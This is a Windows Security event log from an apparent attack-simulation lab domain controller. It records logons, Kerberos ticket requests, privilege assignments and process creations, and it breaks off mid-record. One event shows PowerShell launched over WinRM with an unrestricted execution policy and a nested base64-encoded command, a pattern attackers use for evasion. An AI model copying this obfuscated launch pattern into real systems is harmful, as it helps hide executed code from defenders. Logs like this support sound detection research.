Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13f4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB4AEEARABnAEEATABnAEEANQBBAEQAUQBBAE0AQQBBADUAQQBEAEEAQQBOAEEAQQB0AEEARABnAEEATgB3AEEAMgBBAEQAWQBBAE4AdwBBAHgAQQBEAFUAQQBNAEEAQQB4AEEARABRAEEATQBRAEEAMABBAEQAWQBBAE4AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253265 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA88 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253264 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA88 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253263 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253262 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253261 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253260 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253259 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA6C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253258 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BA6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253257 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253256 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253255 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253254 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19B5F5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253253 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A372 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253252 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19B5F5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253251 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19B5F5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253250 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253249 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253248 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253247 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x968 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253318 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19E95B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253317 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19E95B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253316 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253315 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253314 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: 